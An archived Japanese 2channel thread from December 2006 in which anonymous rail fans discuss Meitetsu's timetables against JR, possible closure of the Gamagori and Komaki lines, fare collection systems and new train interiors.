特急745→841 惨敗wwww
特急758→852 惨敗wwww
JR
特快700→748 相手が急行じゃ役不足さ。大勝
新快708→800 2分差で「快速特急」に勝利!!!!!
特快716→807 
新快724→816 圧倒的差で「快速特急」に勝利
特快732→822 名鉄特急?何それ?
新快740→832 快速特急よりはやいオレ様が快速急行相手かよwwwwww
特快748→838 相手にならんwww
特快804→852 6分くらいハンデをあげようかwwwwww

719 :名無し野電車区:2006/12/18(月) 12:54:31 ID:G2NSj71V
>>713
>>今年、現社長の甥が総合職で入社。
事実としたら、木下最悪だな。
コストカットに死に物狂いのときに、身内なんぞ雇うな。
己を厳しくできないような奴に、改革ができるか!
今の名鉄は、経営陣の首切りが最優先事項だな。

720 :名無し野電車区:2006/12/18(月) 13:03:22 ID:RG7Cb9dN
>>719
面接も名乗るだけ、筆記も名前書いただけで通過らしい。
他の総合職も金喰い虫なだけだが、こいつはもっとタチが悪い。

721 :名無し野電車区:2006/12/18(月) 13:13:30 ID:ZDo+Rho3
>>706
昼間帯での西尾蒲郡線の全列車普通をやったことあるんだよ。
沿線の猛反発食って、新名古屋〜西尾間に7700系の2両特急で本線直通復活。
7700系白帯→8800系→1600系となって、いまは一部が1000系になってる。
西尾線の全特廃止でも、最悪毎時1本は快急を残すだろう。

新安城〜西尾〜蒲郡で分断運転だが、蒲郡線の均一運賃制度導入の話が根強い
ため吉良吉田で分けられる可能性がある。
現在の本線直通の優等電車2本を西尾止まり、普通を新安城〜吉良吉田の
文字通り西尾線内の折り返しと、均一区間の蒲郡線内折り返しに分ける。
蒲郡線内はSFシステムの導入撤回で、車両もシステムも現在の
西蒲ワンマン用をそのまま利用する。
場合によっては三河線廃止区間のように、自治体の補助を窺う可能性も高い。

722 :名無し野電車区:2006/12/18(月) 21:43:14 ID:aOn+F+jv
蒲郡線も廃止の二文字がちらつき始めたなあ・・・・

723 :名無し野電車区:2006/12/18(月) 21:47:40 ID:aOn+F+jv
【会社】名古屋鉄道
【コメント】車社会の都市構造の中、鉄道利用者にマイカーを利用してもらうための努力ぶりは賞賛に値する。
また、運賃が高いのが、さらにorg!

724 :名無し野電車区:2006/12/18(月) 22:22:21 ID:RG7Cb9dN
蒲郡線で自転車が載せられるようになったりしてね

725 :名無し野電車区:2006/12/19(火) 13:58:25 ID:NSnmEUts
owata

726 :名無し野電車区:2006/12/19(火) 14:04:06 ID:nt/TGWZB
>>724
本気で存続考えるなら
そのくらいやなきゃダメだよ

727 :名無し野電車区:2006/12/19(火) 14:36:16 ID:c8Y8Rlv6
上横須賀駅・西幡豆駅・三河鹿島駅における自動券売機の運賃誤表示について

2006年12月19日

--------------------------------------------------------------------------------

西尾線上横須賀駅、蒲郡線西幡豆駅及び三河鹿島駅の自動券売機各1台(計3台)におい
て、12月11日(水)〜同月15日(金)における下記の間、運賃ボタン下部にある駅名表示の
位置が不適切であったため、運賃を過剰収受した可能性があることが判明しましたので、お
知らせいたします。
お心当たりのあるお客様は大変お手数ですが、下記の駅窓口までお申し出くださいますよう
お願い申し上げます。
このたびはお客様にご迷惑をおかけしましたことを深くお詫び申し上げます。



1.発生場所・日時

●三河鹿島駅 12月11日(月)12時〜12月15日(金)16時までの間
●上横須賀駅 12月12日(火)16時〜12月15日(金)16時までの間
●西幡豆駅 12月13日(水)12時〜12月15日(金)16時までの間

728 :名無し野電車区:2006/12/19(火) 18:37:25 ID:Z8FuOfyS
>>726
その場合、運賃収受システムをどうするかだよな。

現在の6000系2両編成の西蒲ワンマンシステムだと、
乗車は1両目車両の後ろ扉からで降車は1両目車両の前扉となって
2両目車両の扉の開閉は西尾、吉良吉田、蒲郡の有人駅停車以外はない。
自転車を乗せるとなると扉1か所だけの開閉では乗降が大変だ。
だからといって無人駅で6か所全開したら、切符回収の車掌を乗せるか
駅に自動改札を導入せざるを得ない。
自動改札を導入するならSFシステムを入れないと、中途半端な投資になる。
駅を囲む柵の設置や駅舎の改造が必要となり、蒲郡の高架駅にはスロープが
必要になる。

投資しても回収できそうにないな。自治体に頼むか?

729 :名無し野電車区:2006/12/20(水) 17:18:56 ID:v0wX9e9w
廃止だ、廃止。

730 :名無し野電車区:2006/12/20(水) 17:39:22 ID:T9MZoyuQ
>>728
子供の国じゃどうやって自転車や車椅子載せたらいいんだ?
でかいハコのエレベーターと自転車用スロープ付き階段奢らないとムリだろ、アソコは・・・・。
皮肉な話だが自転車の機動力を頼りに乗せられる余裕がある駅での利用にとどめてもらうしかないと思う。

731 :名無し野電車区:2006/12/20(水) 18:19:45 ID:gFSAV7io
券売機が上下線各1台しかずつしかない駅…
券売機故障で何度電車に乗り遅れたか…

732 :名無し野電車区:2006/12/20(水) 20:21:11 ID:mmq9EuB+
>>731

漏れはいつもそんな時は改札つっきって乗るけど。
んで車内で清算。

733 :名無し野電車区:2006/12/20(水) 22:13:23 ID:1QRG5dVD
>>731
乗客が少ないから一台で十分です。
それ以上は過剰投資となります。

自家用車を使いましょう。


734 :名無し野電車区:2006/12/21(木) 10:29:46 ID:FxKRV8oN
11月の輸送状況

東海道線:名古屋〜大府間7%増、名古屋〜岐阜間9%増

10月に続いて前年同月比増加
名古屋本線オワタ

735 :名無し野電車区:2006/12/21(木) 20:29:50 ID:YznXkJNd
JRにそろそろ吸収かね

736 :名無し野電車区:2006/12/21(木) 22:31:03 ID:LGuJoKwq
今はJRの方が安い区間が多いからなあ。
ケチな名古屋人は安いほうに流れるわなあ。
もっとも車が一番安いと勘違いしてるがなあ。

737 :名無し野電車区:2006/12/21(木) 22:55:02 ID:XiXDHiVf
東海道線との競合区間は名鉄の方が運賃が高いうえに
JRより遅いので、乗ろうとは思わない。

738 :名無し野電車区:2006/12/22(金) 00:28:23 ID:JA+qkgdn
>>734
>>737
競合区間といえども、豊橋・刈谷・金山・名古屋・一宮・岐阜などで
乗り降りする場合に競合が発生するんじゃないの?

俺は自宅最寄り駅は神宮前、会社最寄り駅が東岡崎だから当然名鉄通勤。
JRにシフトしたら逆に不便になる。

739 :名無し野電車区:2006/12/22(金) 21:35:23 ID:4C2FKOg9
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        小牧線廃止厨                     車を持てない知障&負け組の小牧線存続厨

740 :名無し野電車区:2006/12/23(土) 01:53:30 ID:W2b/Gh+r
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         ↑                             ↑
   環境破壊による気候異変                    車に乗り続ける名古屋人

741 :名無し野電車区:2006/12/25(月) 00:07:14 ID:V+ILrrbh
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        一般人                           小牧線叩き厨

742 :名無し野電車区:2006/12/25(月) 15:27:34 ID:fEe8vf0g
今年乗り切れてよかったね
来年は・・・

743 :名無し野電車区:2006/12/26(火) 22:37:40 ID:lzlpNBgl
これからも年々倒壊との車両の格差がつくだけだよ。

744 :名無し野電車区:2006/12/26(火) 22:54:10 ID:cU/qj81F
>>743
倒壊もコストダウンとか色々言ってるけど、結局現場サイドにとっては色々と面倒そうな車両を投入してるもんね

対する名鉄、ここ数年投入された車両を見てると
×お客様の為に快適な車両の〜
○現場の人 だ け が快適な車両〜
な感じだからね。
先日発売になった7000系のDVDを見て全検の大変さを見せ付けられたのだけど…
この手間をカットするために快適設備などを削減するってのはチョット違うような気がするね

745 :名無し野電車区:2006/12/26(火) 22:55:17 ID:2jyvy2Qo
なら他社の中古で

746 :名無し野電車区:2006/12/26(火) 23:01:23 ID:lzlpNBgl
ピンク色の手すりだとか、銀一色の電車だとか、相当ポリシー無くしてるとしか思えない。
革新というより破れかぶれ。

747 :名無し野電車区:2006/12/26(火) 23:14:50 ID:cU/qj81F
>>746
名古屋市営バスが近日新車を導入するのだけど、それに関連してディーラー公式HPをみてたら
銀電/2200一般車内のふざけた配色はバス車内の配色を真似たように思えた
結構細かく設定されてるようだけど…なにもバスの思想を電車に持ち込まなくても…
参考
ttp://www.hino.co.jp/j/product/bus/blueribbon_2/index.html

748 :名無し野電車区:2006/12/28(木) 15:31:31 ID:liaCnHe9
文句を垂れるのは名鉄や名市交に対してではなく
『交通バリアフリー法』のほうだな。

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